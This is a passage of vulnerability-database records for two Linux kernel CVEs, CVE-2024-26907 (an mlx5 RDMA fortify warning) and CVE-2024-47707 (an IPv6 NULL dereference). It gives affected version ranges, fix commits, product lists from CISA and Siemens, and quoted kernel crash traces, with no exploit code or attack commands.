          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:32.349Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/infiniband/hw/mlx5/wr.c",
            "include/linux/mlx5/qp.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d27c48dc309da72c3b46351a1205d89687272baa",
              "status": "affected",
              "version": "34f4c9554d8b2a7d2deb9503e9373b598ee3279f",
              "versionType": "git"
            },
            {
              "lessThan": "60ba938a8bc8c90e724c75f98e932f9fb7ae1b9d",
              "status": "affected",
              "version": "34f4c9554d8b2a7d2deb9503e9373b598ee3279f",
              "versionType": "git"
            },
            {
              "lessThan": "cad82f1671e41094acd3b9a60cd27d67a3c64a21",
              "status": "affected",
              "version": "34f4c9554d8b2a7d2deb9503e9373b598ee3279f",
              "versionType": "git"
            },
            {
              "lessThan": "9a624a5f95733bac4648ecadb320ca83aa9c08fd",
              "status": "affected",
              "version": "34f4c9554d8b2a7d2deb9503e9373b598ee3279f",
              "versionType": "git"
            },
            {
              "lessThan": "185fa07000e0a81d54cf8c05414cebff14469a5c",
              "status": "affected",
              "version": "34f4c9554d8b2a7d2deb9503e9373b598ee3279f",
              "versionType": "git"
            },
            {
              "lessThan": "4d5e86a56615cc387d21c629f9af8fb0e958d350",
              "status": "affected",
              "version": "34f4c9554d8b2a7d2deb9503e9373b598ee3279f",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/infiniband/hw/mlx5/wr.c",
            "include/linux/mlx5/qp.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.0"
            },
            {
              "lessThan": "5.0",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/mlx5: Fix fortify source warning while accessing Eth segment\n\n ------------[ cut here ]------------\n memcpy: detected field-spanning write (size 56) of single field \"eseg-\u003einline_hdr.start\" at /var/lib/dkms/mlnx-ofed-kernel/5.8/build/drivers/infiniband/hw/mlx5/wr.c:131 (size 2)\n WARNING: CPU: 0 PID: 293779 at /var/lib/dkms/mlnx-ofed-kernel/5.8/build/drivers/infiniband/hw/mlx5/wr.c:131 mlx5_ib_post_send+0x191b/0x1a60 [mlx5_ib]\n Modules linked in: 8021q garp mrp stp llc rdma_ucm(OE) rdma_cm(OE) iw_cm(OE) ib_ipoib(OE) ib_cm(OE) ib_umad(OE) mlx5_ib(OE) ib_uverbs(OE) ib_core(OE) mlx5_core(OE) pci_hyperv_intf mlxdevm(OE) mlx_compat(OE) tls mlxfw(OE) psample nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject nft_ct nft_chain_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 ip_set nf_tables libcrc32c nfnetlink mst_pciconf(OE) knem(OE) vfio_pci vfio_pci_core vfio_iommu_type1 vfio iommufd irqbypass cuse nfsv3 nfs fscache netfs xfrm_user xfrm_algo ipmi_devintf ipmi_msghandler binfmt_misc crct10dif_pclmul crc32_pclmul polyval_clmulni polyval_generic ghash_clmulni_intel sha512_ssse3 snd_pcsp aesni_intel crypto_simd cryptd snd_pcm snd_timer joydev snd soundcore input_leds serio_raw evbug nfsd auth_rpcgss nfs_acl lockd grace sch_fq_codel sunrpc drm efi_pstore ip_tables x_tables autofs4 psmouse virtio_net net_failover failover floppy\n  [last unloaded: mlx_compat(OE)]\n CPU: 0 PID: 293779 Comm: ssh Tainted: G           OE      6.2.0-32-generic #32~22.04.1-Ubuntu\n Hardware name: Red Hat KVM, BIOS 0.5.1 01/01/2011\n RIP: 0010:mlx5_ib_post_send+0x191b/0x1a60 [mlx5_ib]\n Code: 0c 01 00 a8 01 75 25 48 8b 75 a0 b9 02 00 00 00 48 c7 c2 10 5b fd c0 48 c7 c7 80 5b fd c0 c6 05 57 0c 03 00 01 e8 95 4d 93 da \u003c0f\u003e 0b 44 8b 4d b0 4c 8b 45 c8 48 8b 4d c0 e9 49 fb ff ff 41 0f b7\n RSP: 0018:ffffb5b48478b570 EFLAGS: 00010046\n RAX: 0000000000000000 RBX: 0000000000000001 RCX: 0000000000000000\n RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000\n RBP: ffffb5b48478b628 R08: 0000000000000000 R09: 0000000000000000\n R10: 0000000000000000 R11: 0000000000000000 R12: ffffb5b48478b5e8\n R13: ffff963a3c609b5e R14: ffff9639c3fbd800 R15: ffffb5b480475a80\n FS:  00007fc03b444c80(0000) GS:ffff963a3dc00000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 0000556f46bdf000 CR3: 0000000006ac6003 CR4: 00000000003706f0\n DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n Call Trace:\n  \u003cTASK\u003e\n  ? show_regs+0x72/0x90\n  ? mlx5_ib_post_send+0x191b/0x1a60 [mlx5_ib]\n  ? __warn+0x8d/0x160\n  ? mlx5_ib_post_send+0x191b/0x1a60 [mlx5_ib]\n  ? report_bug+0x1bb/0x1d0\n  ? handle_bug+0x46/0x90\n  ? exc_invalid_op+0x19/0x80\n  ? asm_exc_invalid_op+0x1b/0x20\n  ? mlx5_ib_post_send+0x191b/0x1a60 [mlx5_ib]\n  mlx5_ib_post_send_nodrain+0xb/0x20 [mlx5_ib]\n  ipoib_send+0x2ec/0x770 [ib_ipoib]\n  ipoib_start_xmit+0x5a0/0x770 [ib_ipoib]\n  dev_hard_start_xmit+0x8e/0x1e0\n  ? validate_xmit_skb_list+0x4d/0x80\n  sch_direct_xmit+0x116/0x3a0\n  __dev_xmit_skb+0x1fd/0x580\n  __dev_queue_xmit+0x284/0x6b0\n  ? _raw_spin_unlock_irq+0xe/0x50\n  ? __flush_work.isra.0+0x20d/0x370\n  ? push_pseudo_header+0x17/0x40 [ib_ipoib]\n  neigh_connected_output+0xcd/0x110\n  ip_finish_output2+0x179/0x480\n  ? __smp_call_single_queue+0x61/0xa0\n  __ip_finish_output+0xc3/0x190\n  ip_finish_output+0x2e/0xf0\n  ip_output+0x78/0x110\n  ? __pfx_ip_finish_output+0x10/0x10\n  ip_local_out+0x64/0x70\n  __ip_queue_xmit+0x18a/0x460\n  ip_queue_xmit+0x15/0x30\n  __tcp_transmit_skb+0x914/0x9c0\n  tcp_write_xmit+0x334/0x8d0\n  tcp_push_one+0x3c/0x60\n  tcp_sendmsg_locked+0x2e1/0xac0\n  tcp_sendmsg+0x2d/0x50\n  inet_sendmsg+0x43/0x90\n  sock_sendmsg+0x68/0x80\n  sock_write_iter+0x93/0x100\n  vfs_write+0x326/0x3c0\n  ksys_write+0xbd/0xf0\n  ? do_syscall_64+0x69/0x90\n  __x64_sys_write+0x19/0x30\n  do_syscall_\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:06:41.859Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d27c48dc309da72c3b46351a1205d89687272baa"
        },
        {
          "url": "https://git.kernel.org/stable/c/60ba938a8bc8c90e724c75f98e932f9fb7ae1b9d"
        },
        {
          "url": "https://git.kernel.org/stable/c/cad82f1671e41094acd3b9a60cd27d67a3c64a21"
        },
        {
          "url": "https://git.kernel.org/stable/c/9a624a5f95733bac4648ecadb320ca83aa9c08fd"
        },
        {
          "url": "https://git.kernel.org/stable/c/185fa07000e0a81d54cf8c05414cebff14469a5c"
        },
        {
          "url": "https://git.kernel.org/stable/c/4d5e86a56615cc387d21c629f9af8fb0e958d350"
        }
      ],
      "title": "RDMA/mlx5: Fix fortify source warning while accessing Eth segment",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26907",
    "datePublished": "2024-04-17T10:27:54.194Z",
    "dateReserved": "2024-02-19T14:20:24.187Z",
    "dateUpdated": "2026-05-12T11:50:32.349Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-47707 (GCVE-0-2024-47707)

Vulnerability from cvelistv5 – Published: 2024-10-21 11:53 – Updated: 2026-05-12 11:58

Title

ipv6: avoid possible NULL deref in rt6_uncached_list_flush_dev()

Summary

In the Linux kernel, the following vulnerability has been resolved: ipv6: avoid possible NULL deref in rt6_uncached_list_flush_dev() Blamed commit accidentally removed a check for rt->rt6i_idev being NULL, as spotted by syzbot: Oops: general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN PTI KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007] CPU: 1 UID: 0 PID: 10998 Comm: syz-executor Not tainted 6.11.0-rc6-syzkaller-00208-g625403177711 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/06/2024 RIP: 0010:rt6_uncached_list_flush_dev net/ipv6/route.c:177 [inline] RIP: 0010:rt6_disable_ip+0x33e/0x7e0 net/ipv6/route.c:4914 Code: 41 80 3c 04 00 74 0a e8 90 d0 9b f7 48 8b 7c 24 08 48 8b 07 48 89 44 24 10 4c 89 f0 48 c1 e8 03 48 b9 00 00 00 00 00 fc ff df <80> 3c 08 00 74 08 4c 89 f7 e8 64 d0 9b f7 48 8b 44 24 18 49 39 06 RSP: 0018:ffffc900047374e0 EFLAGS: 00010246 RAX: 0000000000000000 RBX: 1ffff1100fdf8f33 RCX: dffffc0000000000 RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffff88807efc78c0 RBP: ffffc900047375d0 R08: 0000000000000003 R09: fffff520008e6e8c R10: dffffc0000000000 R11: fffff520008e6e8c R12: 1ffff1100fdf8f18 R13: ffff88807efc7998 R14: 0000000000000000 R15: ffff88807efc7930 FS: 0000000000000000(0000) GS:ffff8880b8900000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000020002a80 CR3: 0000000022f62000 CR4: 00000000003506f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: <TASK> addrconf_ifdown+0x15d/0x1bd0 net/ipv6/addrconf.c:3856 addrconf_notify+0x3cb/0x1020 notifier_call_chain+0x19f/0x3e0 kernel/notifier.c:93 call_netdevice_notifiers_extack net/core/dev.c:2032 [inline] call_netdevice_notifiers net/core/dev.c:2046 [inline] unregister_netdevice_many_notify+0xd81/0x1c40 net/core/dev.c:11352 unregister_netdevice_many net/core/dev.c:11414 [inline] unregister_netdevice_queue+0x303/0x370 net/core/dev.c:11289 unregister_netdevice include/linux/netdevice.h:3129 [inline] __tun_detach+0x6b9/0x1600 drivers/net/tun.c:685 tun_detach drivers/net/tun.c:701 [inline] tun_chr_close+0x108/0x1b0 drivers/net/tun.c:3510 __fput+0x24a/0x8a0 fs/file_table.c:422 task_work_run+0x24f/0x310 kernel/task_work.c:228 exit_task_work include/linux/task_work.h:40 [inline] do_exit+0xa2f/0x27f0 kernel/exit.c:882 do_group_exit+0x207/0x2c0 kernel/exit.c:1031 __do_sys_exit_group kernel/exit.c:1042 [inline] __se_sys_exit_group kernel/exit.c:1040 [inline] __x64_sys_exit_group+0x3f/0x40 kernel/exit.c:1040 x64_sys_call+0x2634/0x2640 arch/x86/include/generated/asm/syscalls_64.h:232 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f1acc77def9 Code: Unable to access opcode bytes at 0x7f1acc77decf. RSP: 002b:00007ffeb26fa738 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7 RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f1acc77def9 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000043 RBP: 00007f1acc7dd508 R08: 00007ffeb26f84d7 R09: 0000000000000003 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000001 R13: 0000000000000003 R14: 00000000ffffffff R15: 00007ffeb26fa8e0 </TASK> Modules linked in: ---[ end trace 0000000000000000 ]--- RIP: 0010:rt6_uncached_list_flush_dev net/ipv6/route.c:177 [inline] RIP: 0010:rt6_disable_ip+0x33e/0x7e0 net/ipv6/route.c:4914 Code: 41 80 3c 04 00 74 0a e8 90 d0 9b f7 48 8b 7c 24 08 48 8b 07 48 89 44 24 10 4c 89 f0 48 c1 e8 03 48 b9 00 00 00 00 00 fc ff df <80> 3c 08 00 74 08 4c 89 f7 e8 64 d0 9b f7 48 8b 44 24 18 49 39 06 RSP: 0018:ffffc900047374e0 EFLAGS: 00010246 RAX: 0000000000000000 RBX: 1ffff1100fdf8f33 RCX: dffffc0000000000 RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffff88807efc78c0 R ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/a61a174280dad99f2…
https://git.kernel.org/stable/c/8a8b83016f0680577…
https://git.kernel.org/stable/c/e43dd28405e6b9935…
https://git.kernel.org/stable/c/f2bd9635543ca4153…
https://git.kernel.org/stable/c/0ceb2f2b5c813f932…
https://git.kernel.org/stable/c/9a0ddc73be37d19df…
https://git.kernel.org/stable/c/08409e401622e2896…
https://git.kernel.org/stable/c/04ccecfa959d3b9ae…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: e332bc67cf5e5e5b71a1aec9750d0791aac65183 , < a61a174280dad99f25a7dee920310885daf2552b (git) Affected: e332bc67cf5e5e5b71a1aec9750d0791aac65183 , < 8a8b83016f06805775db099c8377024b6fa5b975 (git) Affected: e332bc67cf5e5e5b71a1aec9750d0791aac65183 , < e43dd28405e6b9935279996725ee11e6306547a5 (git) Affected: e332bc67cf5e5e5b71a1aec9750d0791aac65183 , < f2bd9635543ca41533b870f420872819f8331823 (git) Affected: e332bc67cf5e5e5b71a1aec9750d0791aac65183 , < 0ceb2f2b5c813f932d6e60d3feec5e7e713da783 (git) Affected: e332bc67cf5e5e5b71a1aec9750d0791aac65183 , < 9a0ddc73be37d19dff1ba08290af34e707d18e50 (git) Affected: e332bc67cf5e5e5b71a1aec9750d0791aac65183 , < 08409e401622e2896b4313be9f781bde8a2a6a53 (git) Affected: e332bc67cf5e5e5b71a1aec9750d0791aac65183 , < 04ccecfa959d3b9ae7348780d8e379c6486176ac (git) Affected: 58d772c203ee57c45620730198bc2d9ded7a1464 (git)
Linux	Linux	Affected: 4.3 Unaffected: 0 , < 4.3 (semver) Unaffected: 5.4.290 , ≤ 5.4.* (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.177 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.54 , ≤ 6.6.* (semver) Unaffected: 6.10.13 , ≤ 6.10.* (semver) Unaffected: 6.11.2 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47707",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-21T13:03:46.574363Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-21T13:04:19.553Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:21:11.822Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:35.266Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/route.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "a61a174280dad99f25a7dee920310885daf2552b",
              "status": "affected",
              "version": "e332bc67cf5e5e5b71a1aec9750d0791aac65183",
              "versionType": "git"
            },
            {
              "lessThan": "8a8b83016f06805775db099c8377024b6fa5b975",
              "status": "affected",
              "version": "e332bc67cf5e5e5b71a1aec9750d0791aac65183",
              "versionType": "git"
            },
            {
              "lessThan": "e43dd28405e6b9935279996725ee11e6306547a5",
              "status": "affected",
              "version": "e332bc67cf5e5e5b71a1aec9750d0791aac65183",
              "versionType": "git"
            },
            {
              "lessThan": "f2bd9635543ca41533b870f420872819f8331823",
              "status": "affected",
              "version": "e332bc67cf5e5e5b71a1aec9750d0791aac65183",
              "versionType": "git"
            },
            {
              "lessThan": "0ceb2f2b5c813f932d6e60d3feec5e7e713da783",
              "status": "affected",
              "version": "e332bc67cf5e5e5b71a1aec9750d0791aac65183",
              "versionType": "git"
            },
            {
              "lessThan": "9a0ddc73be37d19dff1ba08290af34e707d18e50",
              "status": "affected",
              "version": "e332bc67cf5e5e5b71a1aec9750d0791aac65183",
              "versionType": "git"
            },
            {
              "lessThan": "08409e401622e2896b4313be9f781bde8a2a6a53",
              "status": "affected",
              "version": "e332bc67cf5e5e5b71a1aec9750d0791aac65183",
              "versionType": "git"
            },
            {
              "lessThan": "04ccecfa959d3b9ae7348780d8e379c6486176ac",
              "status": "affected",
              "version": "e332bc67cf5e5e5b71a1aec9750d0791aac65183",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "58d772c203ee57c45620730198bc2d9ded7a1464",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/route.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.3"
            },
            {
              "lessThan": "4.3",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.290",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.177",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.54",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.290",
                  "versionStartIncluding": "4.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "4.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.177",
                  "versionStartIncluding": "4.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "4.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.54",
                  "versionStartIncluding": "4.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.13",
                  "versionStartIncluding": "4.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.2",
                  "versionStartIncluding": "4.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.2.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: avoid possible NULL deref in rt6_uncached_list_flush_dev()\n\nBlamed commit accidentally removed a check for rt-\u003ert6i_idev being NULL,\nas spotted by syzbot:\n\nOops: general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN PTI\nKASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]\nCPU: 1 UID: 0 PID: 10998 Comm: syz-executor Not tainted 6.11.0-rc6-syzkaller-00208-g625403177711 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/06/2024\n RIP: 0010:rt6_uncached_list_flush_dev net/ipv6/route.c:177 [inline]\n RIP: 0010:rt6_disable_ip+0x33e/0x7e0 net/ipv6/route.c:4914\nCode: 41 80 3c 04 00 74 0a e8 90 d0 9b f7 48 8b 7c 24 08 48 8b 07 48 89 44 24 10 4c 89 f0 48 c1 e8 03 48 b9 00 00 00 00 00 fc ff df \u003c80\u003e 3c 08 00 74 08 4c 89 f7 e8 64 d0 9b f7 48 8b 44 24 18 49 39 06\nRSP: 0018:ffffc900047374e0 EFLAGS: 00010246\nRAX: 0000000000000000 RBX: 1ffff1100fdf8f33 RCX: dffffc0000000000\nRDX: 0000000000000000 RSI: 0000000000000004 RDI: ffff88807efc78c0\nRBP: ffffc900047375d0 R08: 0000000000000003 R09: fffff520008e6e8c\nR10: dffffc0000000000 R11: fffff520008e6e8c R12: 1ffff1100fdf8f18\nR13: ffff88807efc7998 R14: 0000000000000000 R15: ffff88807efc7930\nFS:  0000000000000000(0000) GS:ffff8880b8900000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000020002a80 CR3: 0000000022f62000 CR4: 00000000003506f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n \u003cTASK\u003e\n  addrconf_ifdown+0x15d/0x1bd0 net/ipv6/addrconf.c:3856\n addrconf_notify+0x3cb/0x1020\n  notifier_call_chain+0x19f/0x3e0 kernel/notifier.c:93\n  call_netdevice_notifiers_extack net/core/dev.c:2032 [inline]\n  call_netdevice_notifiers net/core/dev.c:2046 [inline]\n  unregister_netdevice_many_notify+0xd81/0x1c40 net/core/dev.c:11352\n  unregister_netdevice_many net/core/dev.c:11414 [inline]\n  unregister_netdevice_queue+0x303/0x370 net/core/dev.c:11289\n  unregister_netdevice include/linux/netdevice.h:3129 [inline]\n  __tun_detach+0x6b9/0x1600 drivers/net/tun.c:685\n  tun_detach drivers/net/tun.c:701 [inline]\n  tun_chr_close+0x108/0x1b0 drivers/net/tun.c:3510\n  __fput+0x24a/0x8a0 fs/file_table.c:422\n  task_work_run+0x24f/0x310 kernel/task_work.c:228\n  exit_task_work include/linux/task_work.h:40 [inline]\n  do_exit+0xa2f/0x27f0 kernel/exit.c:882\n  do_group_exit+0x207/0x2c0 kernel/exit.c:1031\n  